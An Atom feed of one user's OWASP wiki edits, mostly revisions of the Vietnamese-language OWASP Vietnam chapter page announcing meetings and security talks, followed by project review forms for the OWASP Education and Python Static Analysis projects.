<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Namn</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Namn"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Namn"/>
		<updated>2026-05-14T14:42:52Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Vietnam&amp;diff=109279</id>
		<title>Vietnam</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Vietnam&amp;diff=109279"/>
				<updated>2011-04-20T14:07:13Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Vietnam|extra=The chapter leader is [mailto:namn@bluemoon.com.vn Nam Nguyen].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Vietnam&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Chào mừng bạn đến với OWASP Việt Nam ==&lt;br /&gt;
&lt;br /&gt;
Chào mừng bạn đến với trang mạng của OWASP Việt Nam. Người chịu trách nhiệm chính hiện nay là [mailto:namn@bluemoon.com.vn Nguyễn Thành Nam].&lt;br /&gt;
&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Vietnam|emailarchives=http://lists.owasp.org/pipermail/owasp-Vietnam}}&lt;br /&gt;
&lt;br /&gt;
== Tham gia ==&lt;br /&gt;
&lt;br /&gt;
Những buổi giao lưu của nhóm là hoàn toàn miễn phí và mở cửa chào đón mọi người yêu thích an toàn ứng dụng. Chúng tôi khuyến khích các thành viên tham gia trình bày và chia xẻ kiến thức trong những buổi giao lưu. Trước khi tham gia nhóm, xin các bạn vui lòng đọc qua [https://www.owasp.org/index.php/Chapter_Rules những quy định của nhóm].&lt;br /&gt;
&lt;br /&gt;
Để tham gia vào hộp thư chung, vui lòng đến [http://lists.owasp.org/mailman/listinfo/owasp-Vietnam trang chính của hộp thư]. Hộp thư này được dùng để bàn về những buổi giao lưu và sắp xếp nơi giao lưu kế. Bạn cũng có thể xem qua [http://lists.owasp.org/pipermail/owasp-Vietnam kho lưu trữ] của hộp thư này. Xin vui lòng kiểm tra hộp thư này trước khi đến với buổi giao lưu để có được thông tin mới nhất về địa điểm và thời gian.&lt;br /&gt;
&lt;br /&gt;
== Local News - Tin Tức ==&lt;br /&gt;
&lt;br /&gt;
==== 2011-04-29 08:30 Đại học Khoa học Tự nhiên ====&lt;br /&gt;
&lt;br /&gt;
Ngày 29 tháng 04, nhóm OWASP Việt Nam sẽ tổ chức buổi gặp mặt ngoại tuyến.&lt;br /&gt;
&lt;br /&gt;
Thời gian: 08:30 đến 11:30&lt;br /&gt;
&lt;br /&gt;
Địa điểm: phòng C31 , dãy C, trường ĐH Khoa Học Tự Nhiên&lt;br /&gt;
&lt;br /&gt;
Chương trình:&lt;br /&gt;
&lt;br /&gt;
1. Phương pháp phát hiện điểm yếu phần mềm do Nguyễn Thành Nam (CISA, CISSP, CSSLP) trình bày.&lt;br /&gt;
&lt;br /&gt;
2. Phương pháp tấn công kênh phụ do Phan Phụng Tiến (sinh viên ĐH Bách Khoa) trình bày.&lt;br /&gt;
&lt;br /&gt;
3. Quản lý sự kiện an ninh với Splunk do Lê Ngọc Hiếu (trưởng phòng CNTT) trình bày.&lt;br /&gt;
&lt;br /&gt;
Xin trân trọng cảm ơn sự giúp đỡ về chỗ sinh hoạt của khoa Công nghệ thông tin, ĐH Khoa học Tự nhiên, và sự tài trợ bánh, nước của anh Nguyễn Thành Nam.&lt;br /&gt;
&lt;br /&gt;
==== 2010-06-17 08:30 Khách sạn Palace TPHCM ====&lt;br /&gt;
&lt;br /&gt;
Ngày 17 tháng 06, chi hội VNISA phía Nam phối hợp cùng nhóm OWASP Việt Nam sẽ tổ chức hội thảo An ninh ứng dụng web.&lt;br /&gt;
&lt;br /&gt;
Địa điểm: Khách sạn Palace, 56-66 Nguyễn Huệ, quận 1, TPHCM&lt;br /&gt;
Thời gian: 08:30 đến 11:30&lt;br /&gt;
Chương trình:&lt;br /&gt;
&lt;br /&gt;
 1. OWASP Top Ten 2010, do Nguyễn Thành Nam, OWASP Việt Nam, trình bày&lt;br /&gt;
&lt;br /&gt;
 2. Tấn công mật mã thực dụng, do Dương Ngọc Thái, DongA Bank, trình bày&lt;br /&gt;
&lt;br /&gt;
 3. Quy trình kiểm tra lỗi trong ứng dụng web, do Phạm Kiên Cường, Athena, trình bày&lt;br /&gt;
&lt;br /&gt;
 4. Thảo luận&lt;br /&gt;
&lt;br /&gt;
==== 2009-11-28 08:30 Đại Học Bách Khoa TPHCM ====&lt;br /&gt;
&lt;br /&gt;
Gặp mặt cuối cùng của năm:&lt;br /&gt;
&lt;br /&gt;
Địa điểm: Phòng 304, tòa nhà B9, ĐH Bách Khoa TPHCM&lt;br /&gt;
&lt;br /&gt;
Buổi gặp mặt này có sự tham gia thảo luận của các diễn giả sau:&lt;br /&gt;
&lt;br /&gt;
 * Thái Ngọc Dung (BKIT Club): Kiến trúc của W3AF&lt;br /&gt;
&lt;br /&gt;
 * David Yeo (Ernst &amp;amp; Young): Nguyên tắc đầu tiên của An toàn Thông tin cho ông chủ&lt;br /&gt;
&lt;br /&gt;
 * Dương Ngọc Thái (DongA Bank): Kẽ hở xác thực trong SSL/TLS&lt;br /&gt;
&lt;br /&gt;
==== 2009-04-22 08:00 Đại Học Công Nghệ Thông Tin ====&lt;br /&gt;
&lt;br /&gt;
Gặp mặt trao đổi về OWASP và các phương pháp tấn công, bảo vệ ứng dụng Web.&lt;br /&gt;
&lt;br /&gt;
Thông tin chi tiết có thể được xem thêm tại https://lists.owasp.org/pipermail/owasp-vietnam/2009-April/000010.html.&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
Mọi người được hoan nghênh tham gia những buổi giao lưu của chúng tôi.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Vietnam&amp;diff=84885</id>
		<title>Vietnam</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Vietnam&amp;diff=84885"/>
				<updated>2010-06-15T01:34:07Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: Hội thảo 17 tháng 06 cùng VNISA&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Vietnam|extra=The chapter leader is [mailto:namn@bluemoon.com.vn Nam Nguyen].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Vietnam&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Chào mừng bạn đến với OWASP Việt Nam ==&lt;br /&gt;
&lt;br /&gt;
Chào mừng bạn đến với trang mạng của OWASP Việt Nam. Người chịu trách nhiệm chính hiện nay là [mailto:namn@bluemoon.com.vn Nguyễn Thành Nam].&lt;br /&gt;
&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Vietnam|emailarchives=http://lists.owasp.org/pipermail/owasp-Vietnam}}&lt;br /&gt;
&lt;br /&gt;
== Tham gia ==&lt;br /&gt;
&lt;br /&gt;
Những buổi giao lưu của nhóm là hoàn toàn miễn phí và mở cửa chào đón mọi người yêu thích an toàn ứng dụng. Chúng tôi khuyến khích các thành viên tham gia trình bày và chia xẻ kiến thức trong những buổi giao lưu. Trước khi tham gia nhóm, xin các bạn vui lòng đọc qua [https://www.owasp.org/index.php/Chapter_Rules những quy định của nhóm].&lt;br /&gt;
&lt;br /&gt;
Để tham gia vào hộp thư chung, vui lòng đến [http://lists.owasp.org/mailman/listinfo/owasp-Vietnam trang chính của hộp thư]. Hộp thư này được dùng để bàn về những buổi giao lưu và sắp xếp nơi giao lưu kế. Bạn cũng có thể xem qua [http://lists.owasp.org/pipermail/owasp-Vietnam kho lưu trữ] của hộp thư này. Xin vui lòng kiểm tra hộp thư này trước khi đến với buổi giao lưu để có được thông tin mới nhất về địa điểm và thời gian.&lt;br /&gt;
&lt;br /&gt;
== Local News - Tin Tức ==&lt;br /&gt;
&lt;br /&gt;
==== 2010-06-17 08:30 Khách sạn Palace TPHCM ====&lt;br /&gt;
&lt;br /&gt;
Ngày 17 tháng 06, chi hội VNISA phía Nam phối hợp cùng nhóm OWASP Việt Nam sẽ tổ chức hội thảo An ninh ứng dụng web.&lt;br /&gt;
&lt;br /&gt;
Địa điểm: Khách sạn Palace, 56-66 Nguyễn Huệ, quận 1, TPHCM&lt;br /&gt;
Thời gian: 08:30 đến 11:30&lt;br /&gt;
Chương trình:&lt;br /&gt;
&lt;br /&gt;
 1. OWASP Top Ten 2010, do Nguyễn Thành Nam, OWASP Việt Nam, trình bày&lt;br /&gt;
&lt;br /&gt;
 2. Tấn công mật mã thực dụng, do Dương Ngọc Thái, DongA Bank, trình bày&lt;br /&gt;
&lt;br /&gt;
 3. Quy trình kiểm tra lỗi trong ứng dụng web, do Phạm Kiên Cường, Athena, trình bày&lt;br /&gt;
&lt;br /&gt;
 4. Thảo luận&lt;br /&gt;
&lt;br /&gt;
==== 2009-11-28 08:30 Đại Học Bách Khoa TPHCM ====&lt;br /&gt;
&lt;br /&gt;
Gặp mặt cuối cùng của năm:&lt;br /&gt;
&lt;br /&gt;
Địa điểm: Phòng 304, tòa nhà B9, ĐH Bách Khoa TPHCM&lt;br /&gt;
&lt;br /&gt;
Buổi gặp mặt này có sự tham gia thảo luận của các diễn giả sau:&lt;br /&gt;
&lt;br /&gt;
 * Thái Ngọc Dung (BKIT Club): Kiến trúc của W3AF&lt;br /&gt;
&lt;br /&gt;
 * David Yeo (Ernst &amp;amp; Young): Nguyên tắc đầu tiên của An toàn Thông tin cho ông chủ&lt;br /&gt;
&lt;br /&gt;
 * Dương Ngọc Thái (DongA Bank): Kẽ hở xác thực trong SSL/TLS&lt;br /&gt;
&lt;br /&gt;
==== 2009-04-22 08:00 Đại Học Công Nghệ Thông Tin ====&lt;br /&gt;
&lt;br /&gt;
Gặp mặt trao đổi về OWASP và các phương pháp tấn công, bảo vệ ứng dụng Web.&lt;br /&gt;
&lt;br /&gt;
Thông tin chi tiết có thể được xem thêm tại https://lists.owasp.org/pipermail/owasp-vietnam/2009-April/000010.html.&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
Mọi người được hoan nghênh tham gia những buổi giao lưu của chúng tôi.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Vietnam&amp;diff=74072</id>
		<title>Vietnam</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Vietnam&amp;diff=74072"/>
				<updated>2009-11-25T02:42:20Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Vietnam|extra=The chapter leader is [mailto:namn@bluemoon.com.vn Nam Nguyen].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Vietnam&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Chào mừng bạn đến với OWASP Việt Nam ==&lt;br /&gt;
&lt;br /&gt;
Chào mừng bạn đến với trang mạng của OWASP Việt Nam. Người chịu trách nhiệm chính hiện nay là [mailto:namn@bluemoon.com.vn Nguyễn Thành Nam].&lt;br /&gt;
&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Vietnam|emailarchives=http://lists.owasp.org/pipermail/owasp-Vietnam}}&lt;br /&gt;
&lt;br /&gt;
== Tham gia ==&lt;br /&gt;
&lt;br /&gt;
Những buổi giao lưu của nhóm là hoàn toàn miễn phí và mở cửa chào đón mọi người yêu thích an toàn ứng dụng. Chúng tôi khuyến khích các thành viên tham gia trình bày và chia xẻ kiến thức trong những buổi giao lưu. Trước khi tham gia nhóm, xin các bạn vui lòng đọc qua [https://www.owasp.org/index.php/Chapter_Rules những quy định của nhóm].&lt;br /&gt;
&lt;br /&gt;
Để tham gia vào hộp thư chung, vui lòng đến [http://lists.owasp.org/mailman/listinfo/owasp-Vietnam trang chính của hộp thư]. Hộp thư này được dùng để bàn về những buổi giao lưu và sắp xếp nơi giao lưu kế. Bạn cũng có thể xem qua [http://lists.owasp.org/pipermail/owasp-Vietnam kho lưu trữ] của hộp thư này. Xin vui lòng kiểm tra hộp thư này trước khi đến với buổi giao lưu để có được thông tin mới nhất về địa điểm và thời gian.&lt;br /&gt;
&lt;br /&gt;
== Local News - Tin Tức ==&lt;br /&gt;
&lt;br /&gt;
==== 2009-11-28 08:30 Đại Học Bách Khoa TPHCM ====&lt;br /&gt;
&lt;br /&gt;
Gặp mặt cuối cùng của năm:&lt;br /&gt;
&lt;br /&gt;
Địa điểm: Phòng 304, tòa nhà B9, ĐH Bách Khoa TPHCM&lt;br /&gt;
&lt;br /&gt;
Buổi gặp mặt này có sự tham gia thảo luận của các diễn giả sau:&lt;br /&gt;
&lt;br /&gt;
 * Thái Ngọc Dung (BKIT Club): Kiến trúc của W3AF&lt;br /&gt;
&lt;br /&gt;
 * David Yeo (Ernst &amp;amp; Young): Nguyên tắc đầu tiên của An toàn Thông tin cho ông chủ&lt;br /&gt;
&lt;br /&gt;
 * Dương Ngọc Thái (DongA Bank): Kẽ hở xác thực trong SSL/TLS&lt;br /&gt;
&lt;br /&gt;
==== 2009-04-22 08:00 Đại Học Công Nghệ Thông Tin ====&lt;br /&gt;
&lt;br /&gt;
Gặp mặt trao đổi về OWASP và các phương pháp tấn công, bảo vệ ứng dụng Web.&lt;br /&gt;
&lt;br /&gt;
Thông tin chi tiết có thể được xem thêm tại https://lists.owasp.org/pipermail/owasp-vietnam/2009-April/000010.html.&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
Mọi người được hoan nghênh tham gia những buổi giao lưu của chúng tôi.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Vietnam&amp;diff=58608</id>
		<title>Vietnam</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Vietnam&amp;diff=58608"/>
				<updated>2009-04-10T04:35:39Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: Seminar tại ĐH CNTT&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Vietnam|extra=The chapter leader is [mailto:namn@bluemoon.com.vn Nam Nguyen].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Vietnam&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Chào mừng bạn đến với OWASP Việt Nam ==&lt;br /&gt;
&lt;br /&gt;
Chào mừng bạn đến với trang mạng của OWASP Việt Nam. Người chịu trách nhiệm chính hiện nay là [mailto:namn@bluemoon.com.vn Nguyễn Thành Nam].&lt;br /&gt;
&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Vietnam|emailarchives=http://lists.owasp.org/pipermail/owasp-Vietnam}}&lt;br /&gt;
&lt;br /&gt;
== Tham gia ==&lt;br /&gt;
&lt;br /&gt;
Những buổi giao lưu của nhóm là hoàn toàn miễn phí và mở cửa chào đón mọi người yêu thích an toàn ứng dụng. Chúng tôi khuyến khích các thành viên tham gia trình bày và chia xẻ kiến thức trong những buổi giao lưu. Trước khi tham gia nhóm, xin các bạn vui lòng đọc qua [https://www.owasp.org/index.php/Chapter_Rules những quy định của nhóm].&lt;br /&gt;
&lt;br /&gt;
Để tham gia vào hộp thư chung, vui lòng đến [http://lists.owasp.org/mailman/listinfo/owasp-Vietnam trang chính của hộp thư]. Hộp thư này được dùng để bàn về những buổi giao lưu và sắp xếp nơi giao lưu kế. Bạn cũng có thể xem qua [http://lists.owasp.org/pipermail/owasp-Vietnam kho lưu trữ] của hộp thư này. Xin vui lòng kiểm tra hộp thư này trước khi đến với buổi giao lưu để có được thông tin mới nhất về địa điểm và thời gian.&lt;br /&gt;
&lt;br /&gt;
== Local News - Tin Tức ==&lt;br /&gt;
&lt;br /&gt;
==== 2009-04-22 08:00 Đại Học Công Nghệ Thông Tin ====&lt;br /&gt;
&lt;br /&gt;
Gặp mặt trao đổi về OWASP và các phương pháp tấn công, bảo vệ ứng dụng Web.&lt;br /&gt;
&lt;br /&gt;
Thông tin chi tiết có thể được xem thêm tại https://lists.owasp.org/pipermail/owasp-vietnam/2009-April/000010.html.&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
Mọi người được hoan nghênh tham gia những buổi giao lưu của chúng tôi.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Vietnam&amp;diff=46854</id>
		<title>Vietnam</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Vietnam&amp;diff=46854"/>
				<updated>2008-11-27T04:51:33Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: thông tin về cuộc gặp mặt do open consultant tổ chức&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Vietnam|extra=The chapter leader is [mailto:namn@bluemoon.com.vn Nam Nguyen].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Vietnam&amp;lt;/paypal&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Chào mừng bạn đến với OWASP Việt Nam ==&lt;br /&gt;
&lt;br /&gt;
Chào mừng bạn đến với trang mạng của OWASP Việt Nam. Người chịu trách nhiệm chính hiện nay là [mailto:namn@bluemoon.com.vn Nguyễn Thành Nam].&lt;br /&gt;
&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-Vietnam|emailarchives=http://lists.owasp.org/pipermail/owasp-Vietnam}}&lt;br /&gt;
&lt;br /&gt;
== Tham gia ==&lt;br /&gt;
&lt;br /&gt;
Những buổi giao lưu của nhóm là hoàn toàn miễn phí và mở cửa chào đón mọi người yêu thích an toàn ứng dụng. Chúng tôi khuyến khích các thành viên tham gia trình bày và chia xẻ kiến thức trong những buổi giao lưu. Trước khi tham gia nhóm, xin các bạn vui lòng đọc qua [https://www.owasp.org/index.php/Chapter_Rules những quy định của nhóm].&lt;br /&gt;
&lt;br /&gt;
Để tham gia vào hộp thư chung, vui lòng đến [http://lists.owasp.org/mailman/listinfo/owasp-Vietnam trang chính của hộp thư]. Hộp thư này được dùng để bàn về những buổi giao lưu và sắp xếp nơi giao lưu kế. Bạn cũng có thể xem qua [http://lists.owasp.org/pipermail/owasp-Vietnam kho lưu trữ] của hộp thư này. Xin vui lòng kiểm tra hộp thư này trước khi đến với buổi giao lưu để có được thông tin mới nhất về địa điểm và thời gian.&lt;br /&gt;
&lt;br /&gt;
== Local News - Tin Tức ==&lt;br /&gt;
&lt;br /&gt;
==== 2008-12-06 09:00 Quán cà phê Trung Nguyên ====&lt;br /&gt;
&lt;br /&gt;
Gặp mặt trao đổi về OWASP và nhận thức về an toàn thông tin.&lt;br /&gt;
&lt;br /&gt;
Thông tin chi tiết có thể được xem thêm tại http://www.cyvee.com/Modules/Event/Event.aspx?eid=1653.&lt;br /&gt;
&lt;br /&gt;
Everyone is welcome to join us at our chapter meetings.&lt;br /&gt;
&lt;br /&gt;
Mọi người được hoan nghênh tham gia những buổi giao lưu của chúng tôi.&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Education_Project_-_Final_Review_-_Second_Reviewer_-_F&amp;diff=45727</id>
		<title>Project Information:template Education Project - Final Review - Second Reviewer - F</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Education_Project_-_Final_Review_-_Second_Reviewer_-_F&amp;diff=45727"/>
				<updated>2008-11-04T05:35:24Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: second reviewer's comments&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Project Information:template Education Project|Clik here to return to the previous page]].&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;3&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''FINAL REVIEW''' &lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART I''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Project Deliveries &amp;amp; Objectives  &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[OWASP Summer of Code 2008 Applications#OWASP Education Project|OWASP Education Project's Deliveries &amp;amp; Objectives]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications#OWASP Education Project|'''the assumed ones''']], please exemplify writing down those of them that haven't been realised.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
The Bootcamp has not been realized.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. At what extent have the project deliveries &amp;amp; objectives been accomplished?  Having in consideration [[OWASP Summer of Code 2008 Applications#OWASP Education Project|'''the assumed ones''']], please quantify in terms of percentage.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
The first target (i.e. Bootcamp) is at 0%. The second target continues to reach 100%. In general, I would say the project reached its 60% mark.&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
3. Please do use the right hand side column to provide advice and make work suggestions.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
Project leaders should communicate more on the project's mailing list. I had to keep a watch on various lists such as owasp-leaders in order to pick out the announcement of any new educational material.&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART II''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Assessment Criteria&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[:Category:OWASP Project Assessment|OWASP Project Assessment Criteria]]&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#4058A0&amp;quot; align=&amp;quot;center&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''QUESTIONS''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#4058A0&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''ANSWERS'''  &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
1. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Alpha Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
None&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
2. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Beta Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
None&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
3. Having into consideration the [[:Category:OWASP Project Assessment|OWASP Project Assessment Methodology]] which criteria, if any, haven’t been fulfilled in terms of '''Release Quality''' status?&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
None&lt;br /&gt;
 |-  &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
4. Please do use the right hand side column to provide advice and make work suggestions.&lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
The Bootcamp is a terrific idea, especially when combined with an OWASP Live CD. The project should push for an early completion of the Bootcamp training material. At the moment, the project has gathered a great number of quality materials. Converting, and organizing them to make a one- to two-day Bootcamp would bring tremendous value to the OWASP brand.&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Python_Static_Analysis_-_Final_Review_-_First_Reviewer_-_D&amp;diff=45726</id>
		<title>Project Information:template Python Static Analysis - Final Review - First Reviewer - D</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Python_Static_Analysis_-_Final_Review_-_First_Reviewer_-_D&amp;diff=45726"/>
				<updated>2008-11-04T05:14:56Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: first reviewer's comments&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Project Information:template Python Static Analysis|Clik here to return to the previous page]].&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;3&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''FINAL REVIEW''' &lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:white&amp;quot; align=&amp;quot;center&amp;quot;|'''PART I''' &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:white&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
 |- &lt;br /&gt;
 | style=&amp;quot;width:25%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| &lt;br /&gt;
Project Deliveries &amp;amp; Objectives  &lt;br /&gt;
 | colspan=&amp;quot;2&amp;quot; style=&amp;quot;width:75%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&lt;br /&gt;
[[OWASP Summer of Code 2008 Applications#Python Static Analysis|OWASP Python Static Analysis Project's Deliveries &amp;amp; Objectives]]&lt;br /&gt;
 |-&lt;br /&gt;
